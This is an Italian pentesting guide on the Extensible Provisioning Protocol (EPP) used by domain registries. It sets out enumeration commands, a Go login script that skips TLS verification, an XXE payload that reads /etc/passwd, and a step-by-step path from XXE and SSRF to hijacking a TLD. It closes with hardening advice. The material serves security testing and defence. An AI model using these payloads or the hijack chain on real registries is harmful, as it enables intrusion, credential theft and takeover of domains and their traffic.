700 - Pentesting EPP

Reading time: 6 minutes

Informazioni di Base

Il Protocollo di Provisioning Estensibile (EPP) è un protocollo di rete utilizzato per la gestione dei nomi di dominio e di altre risorse internet da parte dei registri e dei registrar di nomi di dominio. Consente l'automazione dei processi di registrazione, rinnovo, trasferimento e cancellazione dei nomi di dominio, garantendo un framework di comunicazione standardizzato e sicuro tra le diverse entità nel sistema dei nomi di dominio (DNS). L'EPP è progettato per essere flessibile ed estensibile, consentendo l'aggiunta di nuove funzionalità e comandi man mano che le esigenze dell'infrastruttura internet evolvono.

Fondamentalmente, è uno dei protocolli che un registrar TLD offrirà ai registrar di domini per registrare nuovi domini nel TLD.

Pentest

In questo articolo molto interessante puoi vedere come alcuni ricercatori di sicurezza hanno scoperto che diverse implementazioni di questo protocollo erano vulnerabili a XXE (XML External Entity) poiché questo protocollo utilizza XML per comunicare, il che avrebbe permesso agli attaccanti di prendere il controllo di decine di diversi TLD.

Enumerazione & Ricognizione

I server EPP ascoltano quasi sempre su TCP 700/tcp tramite TLS. Un'implementazione tipica applica anche mutual-TLS (mTLS) quindi il client deve presentare un certificato valido rilasciato dalla CA del registro. Tuttavia, molte implementazioni private di test o pre-produzione dimenticano quel controllo:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

Se il server non termina la connessione dopo il handshake TLS, puoi tentare di inviare un messaggio <hello/> non autenticato:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Client open-source utili per i test

• epp-client (Go) – attivamente mantenuto, supporta TCP/TLS e EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – libreria client minimale che può essere facilmente strumentata per fuzzing o flussi di lavoro in stile nuclei.
• afq984/php-epp-client – implementazione PHP utilizzata da molti piccoli registrar; un obiettivo conveniente per la revisione del codice.

Esempio di script minimo di login+check con Go epp-client:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Vulnerabilità e Debolezze Comuni & 2023-2025

Payload XXE / SSRF (funziona contro molte implementazioni Java/Spring)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Quando il parser è mal configurato (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), il contenuto del file viene restituito all'interno della struttura <resData>.

Altri risultati tipici

1. Politica di credenziali debole – le frasi di accesso EPP più corte di 8 caratteri; il brute-force è spesso fattibile perché la specifica raccomanda solo (non richiede) il rate-limiting.
2. Mancanza di stato registryLock / serverUpdateProhibited – una volta autenticati, gli attaccanti possono immediatamente aggiornare i record NS e rubare traffico.
3. Messaggi di polling non firmati – alcune implementazioni non firmano ancora i messaggi di Q&A del polling, consentendo lo spoofing/phishing degli operatori di registrar.

Percorso di attacco: Da Zero a Hijack TLD

1. Scoprire un endpoint EPP (spesso nascosto dietro un host generico come ot&e.<tld>.nic.<cc>).
2. Sfruttare una delle vulnerabilità sopra per ottenere credenziali a livello di registrar (XXE → SSRF a IMDSv1, esfiltrazione di credenziali, o bypass TLS).
3. Inviare richieste <update> per cambiare i record hostObj del dominio a server DNS controllati dall'attaccante.
4. (Opzionale) Inviare un <transfer> per spostare il dominio a un registrar controllato dall'attaccante – molti registry si basano ancora su un singolo codice di autenticazione.
5. Profitto: pieno controllo della zona DNS, capacità di richiedere certificati TLS tramite ACME.

Misure difensive e indurimento

• Applicare mTLS con certificati client per registrar e fissare il CA del registry.
• Impostare parserFeature secure-processing=true o equivalente per eliminare XXE.
• Eseguire fuzzing continuo del parser XML (ad esempio, con go-fuzz o jazzer per Java).
• Implementare stati Registry Lock / server*Prohibited per domini di alto valore.
• Monitorare la coda poll per comandi <transfer> o <update> sospetti e allertare in tempo reale.
• Le modifiche al contratto di abuso DNS ICANN 2024 richiedono ai registry di dimostrare controlli di rate-limit e autenticazione – sfruttarli.

Riferimenti

• ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
• HackCompute – "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).